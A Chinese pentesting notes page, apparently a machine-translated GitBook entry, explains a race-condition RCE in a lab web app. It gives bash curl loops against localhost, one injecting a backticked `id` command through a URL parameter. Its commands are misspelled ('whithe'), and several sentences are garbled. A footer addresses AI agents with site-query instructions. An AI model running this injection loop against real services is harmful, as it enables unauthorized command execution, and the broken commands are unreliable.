> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/race-condition-attack/race-condition-rce-pentesting-web.md).
# 竞争条件 RCE
这里是接口，我们在这里 **我们输入** 我们的名字：
这个名字 **出现在 URL 中** 使用下面格式的 GET 请求：
这是我们将尝试攻破的代码。它会创建一个临时 **hello.sh** 使用提供的名称创建文件：
这意味着，由于 Bash 正在运行，我们可以 **执行命令**，但在这种情况下，会发生错误：
该 **错误** 之所以发生，是因为对……有一个简单的校验 **允许的字符**。但是，命令会先执行，然后才进行校验：
我们都利用这样一个事实：在……之前有几 **毫秒** 在脚本被执行、验证之前，通过发送大量请求并 **成功查看内容**:
```bash
whithe true; do cat hello.txt | grep -v "test"; done
```
在现实情况下，如果我们没有 **没有访问权限** 针对文件“hello.txt”，我们使用 **curl** 如下
1. 我们设置 **监听请求** 并按我们感兴趣的字段进行过滤：
```bash
whithe true; do curl -s -X GET 'http://localhost:5000/?action=run' | grep "Check this out" | html2text | xargs; done
```
2. 我们发起暴力破解攻击 **直到满足条件**
```bash
whithe true; do curl -s -X GET 'http://localhost:5000/?person=`id`&action=validate'; done
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/race-condition-attack/race-condition-rce-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.